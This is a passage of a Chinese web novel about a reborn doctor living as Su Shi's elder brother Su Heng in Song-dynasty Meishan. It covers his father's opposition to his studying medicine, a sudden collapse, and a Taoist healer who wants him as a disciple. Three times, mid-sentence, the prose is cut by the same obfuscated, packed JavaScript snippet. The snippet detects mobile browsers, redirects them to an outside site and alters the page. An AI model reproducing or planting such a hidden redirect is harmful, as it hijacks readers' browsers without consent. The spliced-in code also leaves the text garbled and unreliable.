“阿兄,阿父这是怎么了。”苏轼一头雾水地扯扯苏衡衣袖。 “无事。”苏衡垂下眼睫。 苏轼问不到答案,又转过头去,用眼神询问苏轸:阿姐,他们到底怎么了?苏轸冲他摇摇头,示意他不要再追问。 好吧……苏轼低头对手指,自己哼哧哼哧地分析起来。阿兄想学医,阿父生气。学医怎么了,阿兄又没犯错。阿父冲阿兄发那么大脾气,还那么凶。阿兄都没说什么。哼! 苏轼小朋友得出了自己的结论:阿兄好!阿父坏! · 自中秋日苏衡与苏洵闹矛盾已过去一哥个月有余,父子两如今仍是僵持不下,谁也说服不了对方,谁也不愿妥协。 苏洵原本以为长子还小,小孩子嘛,忘性大。总是一时兴起想做一件事,但坚持不了多久又会抛诸脑后。没想到,都过去一个多月了,苏衡还是没放弃学医的想法。 程氏也在一旁劝他:“咱们家不图富贵。也不贪权势。只要这几个孩子平安快乐,我就心满意足了。衡儿既然真心想学医,那便遂了他的愿。那是衡儿自己选的路,你何苦非要拦着他。” “可衡儿确实是块读书的好料子,我这不是盼着他能成才吗。”苏洵叹气。 “学医就不能成才了吗?”程氏反问。 “这,这完全是两码事!”苏洵说不过妻子,负气道,“总之,就是不行。衡儿有这般天赋,未来进士及第那是板上钉钉的事。放着好好的康庄大道不走,偏要自讨苦吃去学医,我不同意!” “你啊,就是太倔了。衡儿的性子我这个当娘的最清楚。他决定的事情,从来不会改变。那你们父子俩就这么僵着吧,我不管了。”程氏一甩帕子,装作生气地走了。 “慧娘——”苏洵在原地跺脚叹气,“唉……” 14. 命中大劫 天上乌云翻墨,黑沉沉地压下来。没一会儿,眉山县就“哗啦啦”地下起了一场盛大的秋雨。雨声急促而热烈,从四面八方而来,紧紧包裹住这一方小天地。苏宅外那数十杆翠竹在雨水的浸润下,颜色越发青翠欲滴。 “阿兄,外头下雨了!”苏轼扒拉着窗户,望着外头细密的雨帘,神情很是兴奋。他已经开始期待着等雨停了,穿着草鞋去踩水坑玩。 “嗯。”苏衡默默将一把椅子推至窗前,坐在椅子上静静地看着窗外的秋雨,苏轼这个小黏糕自动自觉地黏了上去。 窗外,偶尔有几滴淘气的雨水蹦跶进屋内,苏轼靠在兄长怀里,眼睛亮晶晶地,全神贯注地数着蹦进来的雨滴。 下雨天水汽氤氲,总是带着丝丝凉意。都说一场秋雨一场寒,衣橱里厚实保暖的秋衣很快就要派上用场了。 大雨下了好一阵,雨声渐渐小了,只余些许毛毛细雨,还在人间流连。 “想出去喂鱼吗?”苏衡破天荒地主动提出到外头玩耍的建议。 “好呀好呀!”苏轼小鸡啄米似地点头。 “三郎,你这是要带着四郎去哪儿呢?外头还下着雨呢。”采莲看见苏衡兄弟两从房里出来,忙问道。 “莲姨,我和阿兄就在院子里喂鱼。”苏轼扬了扬手里的“鱼食”,脆生生答道, “外头还飘着毛毛雨呢,怎么也不带把伞。你们先等等。”采莲匆匆离去,取来了一把大油伞。 苏家院子里有一个小池塘,池塘里中了荷花,还养了几尾灰乎乎的草鱼。深秋时节,荷花早已没了影子,只留下满池的枯荷残枝,在萧瑟的秋风里听雨声。 苏轼准备的“鱼食”其实就是早上吃剩的一个玉米窝窝头。苏衡已经帮他把窝窝头掰得碎碎的,装进小荷包里,方便他喂鱼。 鱼食一撒下去,那几尾草鱼立刻摆动灵活的尾巴,呼啦啦围过来抢食。池子里的鱼儿吃得开心,苏轼也喂得高兴。反倒是提议出来喂鱼的苏衡,站在池边看着鱼儿抢食,神色淡淡,不知在想着什么心事。 采莲站在一旁,为兄弟两打着油伞,两位小郎君的神情,她一低头就看得清清楚楚。四郎这样才是一个小郎君该有的样子,反观三郎…… “这两个孩子,下着雨呢就跑去喂鱼。”程氏刚与苏洵为长子学医一事争执许久,因苏洵执拗不听人劝,程氏佯作生气,当场摔帕子离去,正巧路过看见苏衡兄弟俩在院中喂鱼,采莲举着把伞为两人遮挡飘忽的雨丝。 “衡儿最喜雨天,轼儿嘛,一向是他阿兄喜欢什么他便爱屋及乌,也喜欢什么。”爱妻怒而离去,苏洵到底还是追了上来。 程氏没搭理他,只专心关注池边的长子与幼子。轼儿瞧着倒是高兴得很,就是衡儿……看到长子的神情,程氏心里一疼,这下真的对苏洵生了怒意:“你瞧瞧衡儿的神色,你就非要逼他做他不喜欢的事情吗!” “我……”苏洵语塞,他这个月以来叹气的次数比去年一整年加起来都要多了。 “我再想想,再想想。” 然而,还没等苏洵想出个结果,程氏被诊出怀孕了。 程氏抚着肚子,半威胁半认真地再次提出让苏衡学医一事。天大地大,孕妇最大。苏洵哪敢和孕中的爱妻争辩,加上他心中本来也早已松动,只差一个台阶下,便顺水推舟地答应了。 “衡儿,为父已和秦家医馆的秦郎中商量好了,每日巳时至申时秦郎中坐堂问诊,你可以在旁观看学习。这是几本基础的医书,你先拿去看看。”苏洵别别扭扭地将三本医书塞进长子怀里。 苏衡抱着医书,抿抿唇:“谢谢阿父。” “太好了,阿兄总算开心了!”苏轼拍着小手欢呼。 嗯?一旁的苏轸歪头观察了一下长兄,苏衡依然是一副神色淡淡地模样。 “阿弟,你怎么看出来阿兄开心的。是不是有什么诀窍,快教教我。”苏轸凑到苏轼身边悄声讨教。 “嘿嘿,阿姐,我跟你说,阿兄高兴的时候眼睛是这样子的……巴拉巴拉……嘴角是这样子的……巴拉巴拉……”苏轸和苏轼两姐弟旁若无人地开始咬耳朵,苏轸时不时还抬起头瞄上苏衡几眼,然后信服地点点头。 苏衡:“……你们两个别闹了。” 明明阿父是个严肃板正的性子,阿母是个娴静温柔的性子,怎么他的阿妹与阿弟都这般能闹腾,他俩这性子也不知是随了谁。 · 秋去冬来,很快就到了岁末。眉山的百姓们已经迫不及待地开始迎接新年的到来。家家户户都贴上了“福”字,门口也挂上了辟邪的桃符。除夕年夜饭的食材堆满了厨房,不少人家杀猪宰鸡,好不热闹。 苏家人也不例外。 苏洵早早就带着妻子儿女回了老宅,采莲厨艺极好,已经去了厨房那边帮忙。青枝与金蝉和老宅的婢子们一起忙着挂灯笼、贴福字、挂桃符、布置桌椅与准备各式器具。 大人们忙得团团转,抽不开身照顾孩子们。苏不欺与程之言在小辈中年纪最大,自告奋勇地领了照看弟弟妹妹的任务。 程之言十一岁时来苏家,至今已有三年。这三年间,除了每年年节会跟着苏洵一家回青神拜年,其余时间程之言与青神程家再无联系。只有他的二嫂郭氏会偶尔来信,关心一下他的学业。 至于程之言的二叔程濬,自从潘素娘去年给他生了个儿子,他便一门心思放在宠妾和儿子身上,哪里还想得起自己还有个侄子。潘素娘近来又怀上了,程濬喜不自胜,就差把潘素娘宠上天了。郭氏在程家的日子越发不好过,好在有个孩子傍身,吃穿还是可以保证的。 程家如此风气,就连姻亲苏家也开始慢慢与之疏远。程之言对此喜闻乐见。对他而言,祖父去世后他在程家的那些年,就像一场噩梦。若不是小姑程氏每年回娘家拜年都会带上他,程之言连程家的门都不想进。 程氏今年怀孕了,不便远行,大概率不会再去青神拜年。程之言大大松了口气。今年总算可以不用回青神,看见程濬那副惹人生厌的嘴脸。 苏家的年夜饭很是丰盛。鱼辣羹、飘香炙鸡、果木烧肉、香煎肥鹅、酥炸梅鱼、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358185|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腊肉炒青菜、驱寒羊肉煲、鱼丸冬瓜汤、三鲜大骨羹……荤素搭配,应有尽有,色香味俱全。 苏轼贪心,什么都想吃,恨不得自己多长一个嘴,好把桌上的美味全部扫入腹中。苏不疑也是个小吃货,满桌子好菜,堂兄弟俩你争我抢,吃得不亦乐乎。 “小堂弟,你悠着点,小心吃多了撑着。”苏不疑眼疾手快地夹走一只烧鸡腿。 “!”苏轼差点被气哭,那只鸡腿明明是他先看中的。二堂兄比他大了快九岁,居然还和他一个小孩子抢鸡腿吃。真不知羞! 苏轼鼓起脸,正要发作,碗里突然多了一颗鱼丸。原来是苏衡把自己那碗汤里的鱼丸夹给了他。 这鱼丸是采莲做的,光是去鱼刺和刮鱼蓉这两项就费了不少功夫。因此,鱼丸数量有限,每人碗中只有三五颗。这鱼丸弹牙爽口,苏轼很是爱吃,三五下就把鱼丸冬瓜汤里的鱼丸吃了个干净。 见苏衡把自己的鱼丸让给了他,苏轼感动得眼泪汪汪:“呜呜呜,还是阿兄最好了!” “慢点吃,好吃也别吃太多,当心积食。”苏衡提醒他。 “嗯嗯!”苏轼乖巧点头。 “阿娘,你有孕在身,这鱼辣羹还是少吃些为好。”苏衡见程氏刚喝完一碗鱼辣羹,又想续第二碗,忙出生阻止。 “好,知道了,我的小郎中。”程氏摸摸苏衡的头,心中很是熨帖。 大家说说笑笑,围坐守夜,一顿年夜饭用了足足一个时辰才结束。等到子时,家家户户地门前都响起了鞭炮声,新的一年在“噼里啪啦”的爆竹声中隆重登场。 就在苏家众人互相贺过新春,准备回屋睡觉之时,变故陡生。 苏衡牵着苏轼本想回屋,结果没走几步,突然捂着心脏倒下,直接把苏轼吓出了眼泪。 “哥——!” “这是怎么了?衡儿怎么突然倒下了。” “快,快去请郎中过来!” “是。” 事发突然,几个大人好一阵手忙脚乱。苏洵一把苏衡抱起,送回屋里。苏衡躺在床上,无知无觉。无论怎么呼唤刺激,苏衡就是双目紧闭,昏睡不醒。 “郎中呢?不是让人去请郎中了吗?怎么这么慢!”苏洵十分火大。 “哎呀,我想起来了,秦郎中的独女嫁去了彭山县,他今日一早便搭了辆骡车去他彭山女婿家过节了。”采莲猛然想起来。 苏洵急得跌足长叹,“慧娘,你在此照顾衡儿。我去请郎中。” “夜深路暗,你好歹带一盏灯再去呀。”程氏急急叫道。 “不用了,我先去隔壁找杨老丈借马。”苏洵头也不回地摆摆手,把板正与仪态都抛诸脑后,火急火燎地冲出门,从杨老丈处借了马,骑着马径直请郎中去了。 眉山的两家医馆一个在城南,一个在城北。城南的秦家医馆离苏家最近,偏偏秦郎中去彭山了。苏洵只好快马加鞭,赶往城北的林家医馆。 然而,苏家众人不知,这是苏衡命中注定的一场劫难,就连匆匆赶来的林郎中也无计可施。 15. 瓜蒌薤白白酒汤 “林郎中,我家衡儿怎样了?可有法子医治?”程氏忧心如焚,见林郎中把脉过后,良久不语,忍不住出声问询。 林郎中为难地皱起眉头,长叹一声:“唉,苏二夫人,令郎的病症实属罕见,我只知病位在心,却不知所起。着实惭愧,我实在是——无计可施。” “怎么会——衡儿他才五岁!”程氏强忍悲痛,追问:“那可有法子缓解?总不会……总不会一直沉睡下去吧?” 林郎中摇摇头:“令郎何时能醒,这不好说。也许下一刻就能醒过来,也许就此长眠不醒。至于缓解之方——还请夫人另请高明吧,我着实无计可施啊。” 程氏听了,面如死灰,仿佛被人抽去了主心骨,一下子瘫软下来,苏洵忙伸手搀住她。 林郎中面带歉意地向两人行礼拜别,背着医箱离去。 “阿娘,阿兄什么时候能醒?”苏轼瘪着嘴巴,带着哭腔问道。 “阿娘也不知。”程氏怔怔地说。 “轼儿,你先和你阿姐回房睡觉。这里有我和你阿娘看着,你先回去睡一觉。明日醒了,再来看你阿兄。”苏洵劝道。 “我不要!我要陪着阿兄!”苏轼闹起了脾气,扒着床沿死活不肯走。 “你听话!” 此时已是夜半三更,长子躺在床上昏睡不醒,发妻深受打击兀自发怔,次子闹脾气怎么哄也哄不好,苏洵只觉得一个头两个大,焦头烂额地直念“张仙”。 “阿弟,我们回去吧。阿兄不是叮嘱过你,不许熬夜的吗?阿兄的话你也不听吗?”关键时刻,还得是苏轸这个贴心小棉袄。 “我听!”苏轼眼里含着两泡眼泪,看着好不可怜。 “走吧。”苏轸牵着苏轼的手,跟着乳娘金蝉乖乖离开睡觉去了。 程氏依然靠在床边发怔,苏洵挨着爱妻缓缓坐下,正苦恼间,忽然听见一道空明缥缈的仙音自远处隐隐传来,听得人心神一震,豁然清明。 “天道贵生,无量度人——” “祖传道医,包治百病——” 程氏猛然清醒过来,嘴里连声叫唤:“我的衡儿有救了,快去请神医进来。” “这么晚了,还有人在外行医?”苏洵眉头紧锁,略略犹疑,觉得事有蹊跷。 “你去不去?!”程氏用力推搡他。。 “罢了,死马当活马医,也许这是衡儿的一线生机也未可知。”苏洵拗不过爱妻,只好出门寻人。没想到,那声音只是听着远,苏洵一出老宅就找到了声音的源头。 “这位道长,请留步!” 前方的道人闻声回首,苏洵借着月色看清了那人的模样。鹤发童颜,慈眉善目,羽冠鹤氅,确是一副得道高人的模样。 “这位郎君,唤贫道何事?” “方才听闻道长有医人之能,犬子突发心病,卧床不醒,还望道长为犬子诊治一二。”苏洵恳求道。 “天道贵生,无量度人。郎君既然寻来,贫道自然无有不允。还请郎君带路。”那道人微微一笑,点头应允。 “道长请随我来。” 苏洵领着道人径直往里走,行走间,侧首问道:“还未请教道长名号。” 道人捻须道:“贫道俗家名为唐慎微,道号‘贵生’.” “原来是贵生道长,我听玉局观的无碍子大师说起过您。他说您常年云游行医,不知行踪。我本遗憾不得一见,没想到今夜有缘,竟遇见了。” 苏洵心下大安。听闻这贵生道长医术了得,能活死人、肉白骨。传闻虽有夸大之嫌,但也说明贵生道长的医术已臻化境,非寻常医家可比。太好了,衡儿有救了。 烛火默燃,床帘微动。 贵生道人为苏衡把完脉,眼里闪过一丝异彩。 “道长,如何了?”程氏满怀希冀地急急询问。 “可救。”贵生道人微微颔首,一副成竹在胸的模样,“贫道先为令郎施针,护住心神,随后再开一方,你们按方抓药煎煮,三剂下肚,令郎便可苏醒。只是——” “只是什么?如有要求,道长尽管提出,我们必定尽全力满足。”程氏忙道。 贵生道人一捻长须,沉声道:“只是令郎这病,针剂治标不治本,复发的可能性极大。他与此世的尘缘本该于今日了结,然天道贵生,令郎仍有一线生机。贫道观令郎鼻有玄山,腹有玄丘,胸有偃骨,仙相天成。若要好时,除非入我道门,不为功名所困,不为利禄所扰,方可一世平安。” 一席话,把苏洵夫妇惊得目瞪口呆。道长这意思,是说衡儿只有做道士才能报保命,否则唯有一死?什么偃骨不偃骨的,他们看不出来,但是—— 苏洵夫妻俩往榻上昏睡的苏衡脸上看去,衡儿的鼻间确实有颗小小的痣。方才那贵生道长掀开衡儿上衣查看,衡儿腹部赫然也有一颗小黑痣。 这……苏洵和程氏对望一眼,心中仍旧犹疑,拿不定主意。 “还请道长先为犬子施针,入道之事,可否容后再议。”苏洵恳切道。 “自然。”贵生道人颔首。 贵生道人取出针囊,为苏衡施了针,又开了方剂,便起身告辞。 苏洵连忙挽留:“夜色已深,道长不如就在寒舍留宿一晚,明日再走?” 贵生道人捻须一笑,温声道:“不必了,我与老友有约,要在明日太阳落山前赶往彭山,苏郎君不必再送。” “那道长您可还会回眉山?我也好让小儿当面谢过道长的救命之恩。”程氏忙问。 “七日之后,我在城中玉局观静候。关于令郎拜师入道一事,还望在七日后,给贫道一个答复。”贵生道人看了一眼仍在昏睡的苏衡,缓缓道。 见贵生道人执意要走,采莲小步上前,把程氏吩咐她准备的诊金双手奉上。 贵生道人看了那钱袋一眼,对苏洵笑道:“贫道不爱这黄白之物,若苏郎君有心相谢,不若将这一葫芦的瓜蒌薤白酒赠与贫道,权当诊金。” 瓜蒌薤白酒?苏洵一愣,顺着贵生道人的视线看去,恍然大悟。原来道长说的是去年中秋,他在玉局观买的玉局养生酒。当时他好不容易才抢到两坛,其中一坛当做中秋节礼送给了苏序。剩下那一坛被苏洵分装进三个酒葫芦里,慢慢品尝。如今,只剩下这最后一个酒葫芦了。 “道长说的可是这玉局养生酒?既然道长喜欢,那边拿去。”苏洵忍痛割爱。酒水再好,也没有长子重要。 “是这个没错”贵生道人点头,“玉局观起了个‘养生酒’的名号,其实它算不上专门的养生酒。这就是依照东汉名医张仲景在《金匮要略》中记载的‘瓜蒌薤白白酒汤方’酿造的。瓜蒌化痰,薤白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358186|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通阳,白酒活血。这一汤方主治胸痹之证,凡胸阳不振,气滞痰阻所致的胸痹,皆可用此方。” 贵生道人收了一葫芦酒水当诊金,在苏家人的千恩万谢下,从容拜别,转身离去。夜风吹得他那身宽大的道袍猎猎作响,银白的月光拉长了他的影子。 苏家人目送贵生道人远去,心下感慨:不愧是得道高人啊。 · “阿兄——呜呜呜,臭妖怪,快吐出来!” 苏轼昨夜做了一晚上的噩梦,梦里自家兄长被一只黑乎乎的大妖怪“啊呜”一口就吃掉了。今天早上苏轼是哭着醒过来的,一睡醒就哭闹着要找苏衡。 大过年的,眉山县的两家医馆一家闭馆不开,一家开得极晚。苏家下人猛敲林家医馆的门,硬是把里头的人喊醒了,这才得以进门,买齐了贵生道人所开药方上的药物。 苏衡昏睡不醒,苏家上下十几口人哪里还有什么心思过节。老老小小呼啦啦在苏衡床边围了一圈,都在等苏衡喝完汤药后,能醒过来。 “唔……” 最后一剂汤药灌下,苏衡终于在苏家众人期盼的眼神下苏醒过来。 “三郎这孩子总算醒了。”杨氏拍拍胸脯,大大松了口气。 “我的衡儿……”程氏握著手帕,喜极而泣。 “醒了就好。”苏洵搂住程氏,轻声安慰。 苏轼哭得最大声,他就趴在床榻边,握着苏衡的手眼泪汪汪。 苏衡一睁眼,就看见床榻四周围了一圈的人,正想问发生了何事,就听见苏轼的哭嚎。 “呜呜呜呜……阿兄,你可算醒了!昨晚吃完年夜饭,你就突然倒下了,怎么叫都不醒,吓死轼儿了。呜呜呜呜……听阿父说,幸好有个白胡子老道士出现,把你救回来了。” 苏衡眼里闪过一丝讶色,原来他竟一度陷入昏迷。他只觉得自己做了很长很长的一个梦。在梦中,他又经历了一遍前世。 他自幼在福利院长大,五岁时福利院对面空置残破的道观里来了一位老道士。老道士善医,每年都会为福利院的孩子义诊一次。他就是这样对中医产生了兴趣。老道士发现了他在中医上的天赋,想要领养他,收他为徒弟。可是老道士诊金收得低,连养活自己都勉强。他不想增加老道士的负担,就拒绝了被领养,但答应了拜老道士为师。 慢慢地地,他医术渐精,开始能独立出诊。能独立出诊意味着他可以赚取诊金,自己养活自己。于是,他正式离开了福利院,与老道士共同生活。 在他十八岁那年,老道士离世,把所有积蓄都留给了他。他遵从老道士遗愿,用那笔钱去了全国最好的中医大学读书。本硕博九年连读,他把学院派的系统理论与老道士所教医术融会贯通。眼看着毕业在即,他实习所在的医院中有医患闹事,一把尖刀刺中心脏,等他再睁眼时,已换了人间。 “……阿兄?”苏轼泪眼朦胧,见兄长久久不语,握着兄长的手晃了晃。 苏衡回过神来。 “我没事。”苏衡安抚地拍了拍苏轼胖乎乎的小爪子。 如果他没记错的话,历史上苏轼那位名叫名苏景先的哥哥,似乎就是在苏轼三岁时因病去世的。 苏轼今年,正好三岁。 如今,他能平安醒来,也许说明,他命中的死劫已经过了吧…… 16. 贵生道人 与苏家人拜别后,贵生道人仙风道骨地走了一段路,等身后的视线一消失,他立刻形象全无地开始捶肩蹬腿:“唉哟,端了我近两个时辰,累死我了。” 夜色沉沉,贵生道人并没有像他对苏洵说的那样,连夜赶往彭山会见旧友。与人有约是真的,彭山旧友是真的,但太阳落山前要赶到是假的。老道他又困又累,自然是要舒舒服服睡他个昏天黑地,养足精神,这才能出发去彭山嘛。 苏家老宅哪里比得上他的茅屋,他要是答应在苏家留宿,肯定得端一晚上,这哪叫休息,这分明是折磨! 贵生道人打着哈欠,把旗幡杆子当拐杖,拖着躯壳,累如死狗地挪回了他在城东的破茅屋。一回到卧房,他立刻卸下死沉死沉的医箱,踹掉草鞋,直挺挺的就往床榻上一瘫,长长地舒了一口气:“哎——舒服!” 忙活了他一整夜,可把他累坏了。要不是为了他那命定的徒弟,他才不去干那半夜出诊的麻烦事儿!大晚上的睡觉不香嘛,他吃饱了撑着半夜不睡觉,扛着个旗幡子四处晃悠。 贵生道人毫无形象地伸了个懒腰,感觉自己的一把老骨头都在”咯吱“作响。 随手扯过棉被一盖,贵生道人就沉沉入睡去,没过一会儿,安静的屋子里就响起如雷的鼾声。 “砰!砰!砰!”月隐日现,当初晨的第一缕阳光照亮眉山,贵生道人的屋外传来一阵响亮的敲门声。 “唐慎微!开门!我知道你在里面。再不开门,我就自己踹门进来了。”来人狂敲木门不止,见里头的主人迟迟不出来迎客,还真的一脚踹开了那扇破木门,大摇大摆地就进屋了。 来人一进里屋,就看见胡乱盖着棉被,躺在床上酣睡沉沉的某道士。头发凌乱, 这屋子破破烂烂,一应家具物什也不齐全,除了四堵墙和一张床榻,连个给人坐的椅子也没有,可谓家徒四壁,环堵萧然。 “起开起开!挪开你那臭脚,给我腾个地儿。”来人用两根手指拎起被某道士胡乱扔在床上的道袍,捂着鼻子嫌弃地丢到床角,毫不客气地就在榻上一屁股坐下。 “喂,你昨晚找到你徒弟了吗?把人救回来没?”来人似乎与贵生道人是老相识,毫不客气地推推瘫在床上的贵生道人,把人给摇醒了。 贵生道人不情不愿地起身,没好气地说:“我说无碍子,你明知道我昨夜熬了一宿,回到家想补个觉,还没几个时辰,你就狂敲我的门。你是生怕我活得比你长是吧?” 原来,来人正是玉局观卜卦店的卜师——无碍子。 无碍子没理会好有的抱怨,催促道:“昨晚到底怎么样?你快说说!别吊我胃口。” “你自己卜一卦不就知道了。”贵生道人小声嘀嘀咕咕,见无碍子真的开始不耐烦了,忙一本正经地答道:“救回来了。你的卜算能力还真没得说。五年前,你跟我说我命定的徒弟会在眉山出生,让我五年后的除夕夜背着医箱满城转悠,我那徒弟自己就会找上门求医。” “不过,找上我的是他亲爹,不是他本人。我见到他时,他躺在床上昏睡不醒。但这也不碍事。我一见他,就知道这是我徒弟。他有仙人骨,生来就该是我徒弟!哈哈哈哈哈哈……” 贵生道人越说越得意,恨不得让全天下的人都知道他得了个根骨绝佳的好徒弟。 “行了行了,你嘚瑟几句就行了,别得寸进尺!”无碍子警告道。 “话说,你说来说去,还没告诉我是哪家的孩子呢。” “哦。是城南苏家的。他家老三的长子,叫苏衡的那个。” “果然是他。”无碍子喃喃道。 “什么叫果然是他?难不成,你这老东西早就知道我徒弟是哪家的,居然不早点不告诉我,害我累死累活大晚上出诊。”贵生道人大怒。 无碍子摆摆手,解释道:“我并不知道,只是有些猜测。当年,苏郎君用玉环与我交换过张仙的画像,说是要请回家中日日供奉,以求子嗣。他家三郎便是这般求来的。去年中秋,我在玉局观中见过那苏三郎一面,只能隐隐感觉他与我道家有缘,并不知道他就是你命定的徒弟。” “哦?还有这事儿呢?”贵生道人转怒为喜,“我徒弟果真有仙缘。” “你一口一个徒弟,莫非那苏郎君这般轻易就答应让他长子入道,跟你学医了?”无碍子斜觑他一眼。 “还没有。”贵生道人泄气地重新倒回榻上,“那苏郎君说还要再考虑考虑,我与他约定,七日之后在玉局观一叙,届时再给个答复。” “对了”,贵生道人用脚踹了踹无碍子,示意道,“院中那棵银杏底下,我埋了点东西。待我离开眉山后,你记得把树下的东西挖出来,给我徒弟送去。” 无碍子:“你要离开眉山?就七日你都待不住,去哪儿?” “去彭山。” “作甚?” “哎呀,你管那么多做什么!总之,你记得替我把东西送到就是了。”贵生道人嫌无碍子刨根问底烦得很。 “为什么要我去送?你自己去,正好临走前你和你徒弟见一面呗。”无碍子没答应。 “不行,我去送就没意思了。就是这种若即若离、似近非近、朦朦胧胧的感觉,才能勾得我徒弟日日惦记我这个未来的师傅。什么都敞开来,摊开来,那就没意思了。这一点,我还是跟你这个神算子学的呢。”贵生道人摇头晃脑道。 无碍子看他那一脸贱兮兮的模样就嫌弃不已,没好气地答应道:“行吧,我替你送。” · 六日后,城南纱縠行苏家。 窗外的竹影随风起舞,苏衡在窗前垂眸读书,不时在纸上落墨,记下一闪而逝的灵感。房间内静悄悄一片,惟有翻书的轻微声响与毛笔摩擦纸面的声音。 三岁的小苏轼抱着程氏买给他的磨喝乐,在榻上安静地玩耍。 磨喝乐是深受小孩子们欢迎的小人偶,用土抟成童子的模样,小脚小手,煞是可爱。苏轼手里的这个磨喝乐是个男娃娃,做的精美,五官清晰可辨,还穿了一件碎布做成的小衣裳,比起那些无甚装饰,几枚铜板就有一个的磨喝乐,要精致许多。 苏轼玩着磨喝乐,时不时还要抬头看看正在读书的苏衡,以确认自家兄长的存在。自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358187|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从除夕夜过后,苏轼更黏着他家兄长了,几乎到了寸步不离的地步,生怕一个不注意,苏衡又像除夕那晚一样倒下。 “阿兄,该用朝食了。”苏轼出声提醒道。 自从得了贵生道人托无碍子送来的一大箱医书,苏衡几乎日夜沉迷研习医术,一得空就泡在房里读书写笔记,常常忘记时间。每每多亏苏轼提醒,这才没有误了饭时。 放下手中的医书,苏衡揉了揉眉心。前世,他继承了老道士的医术,又得到中医药大学的系统培养,早已可以独立行医。但是,一朝成为大宋子民,他空有一身医术,却难以施展。对他而言,最大的难点就是药材的辨名。 千年来,中医传承虽没有断绝,但是在流传过程中,却难免由于人为的笔误或者理解的不同造成讹传。同一种药材,在宋代叫这个名字,到了后世,却可能指代另一种性味全然不同的药材。又或者同一种药材,宋时的名称与后世常用的名称全然不同。 同名异药、同药异名的情况相当常见,如果直接把他在后世学到的知识搬过来使用,很可能造成用药的错误。好在无碍子卜师及时送来一箱医书,他得以根据这些医书,对药材的名字逐一比对核实。 即便如此,在研究这些医书时,他还是发现了许多除了药名以外的其他问题。比如,药材道地产区的改变。因自然地理条件的变化,大宋有些药材的道地产区与他前世记忆中不同。就拿药材三七来说,在明代之前,广西才是三七的道地产区,明代以后,三七的道地产区却成了云南。又如,宋人以同州的地黄为最佳,到了明代,却是以河南怀庆的地黄为道地药材,慢慢地,医家甚至习惯将地黄称为“怀地黄”。 道地药材质量高、药性强、疗效好,因此,熟悉药材的道地产区,对一名医师来说,是必须要掌握的技能。苏衡叹了口气,若是有机会,还是要亲自采药、制药,才能更加熟悉此时的药材产地与性味。 再有,宋人对一些药材药性的认识,也与他前世所学有所不同。就拿薄荷来讲,时人多用薄荷来治疗风寒感冒,因此认为薄荷是温性药。但在金元之后,医家发现薄荷用来治温热病更具疗效,渐渐就将薄荷定为凉性药。 虽然有着前世记忆这个作弊利器,但是行医开方,治病救人容不得丝毫马虎。苏衡不敢妄自托大,自认为还是要跟着当世名医,潜心学习,方能独立出诊。再说了,就算他现在打包票说会诊病开方,又有谁会把一个五岁小儿的话当真。 贵生道长想收他为徒一事,苏洵早在苏衡苏醒那日就告诉他了。次日,苏衡又收到了贵生道长托人送来的珍贵医书。其实,苏洵本人对入道一事并不反感。医者,道也。大道三千,以医为道,又何尝不是一种道。 “阿兄——走啦~”苏轼见苏衡又陷入沉思,久久不动,只好自己慢吞吞地爬下床,迈着小短腿“哒哒哒”地跑到苏衡跟前,抱住了苏衡的手,来回摇晃。 “嗯。”苏衡回过神来,揉了揉苏轼的脑袋,拉着他这块小黏糕往正厅走去。 先用饭吧。等明日去玉局观见了贵生道长,也许他就能多一位师傅了。 17. 玉局功法 正月初七,苏洵带着苏衡如约来到玉局观。苏衡身后还跟了个“小尾巴”苏轼。 程氏怀胎已有八个月,如今肚子已经很大了,不便出门。贴心的小棉袄苏轸主动提出要留在家中照顾程氏,但她自己也还只是个五岁大的孩子罢了。好在家中有采莲等靠谱稳重的婢子,苏洵这才放心出门。 苏衡捧着备好的拜师礼,跟在引路道长后头,过了山门殿,穿过第一进院落,又过了三清大殿,来到第二进院落西侧的角门前。 苏衡看着眼前的角门,脚步微顿。 “咦?这扇门有点眼熟……”苏轼拉着兄长的手,小手嘀咕。 引路的道长回身行礼,对苏家一行道:“贵生道长正领着观中师叔师伯们练玉局功法,几位贵客进去后,还请在旁稍候片刻。” 苏洵忙拱手回礼,应道:“自然自然。” 一行人进了角门,苏衡默默观察,发现里头果然是去岁中秋,他与阿弟还有凌大郎偶然遇见的一处院子。当时,院中道长们也在整齐划一地练功,那功法动作,像极了后世的八段锦。 此时,院中道长们练功已至尾声,正并拢双腿,神情放松,抬跟颠足,气定神闲。 苏衡眼神一闪,这个动作和八段锦第八式——背后七颠百病消极为相似,心中更加确定这个“玉局功法”就是八段锦的雏形。 “阿父,站在最前面的白胡子老爷爷,是不是就是贵生道长呀?”苏轼扯了扯苏洵衣袖,仰头问道。 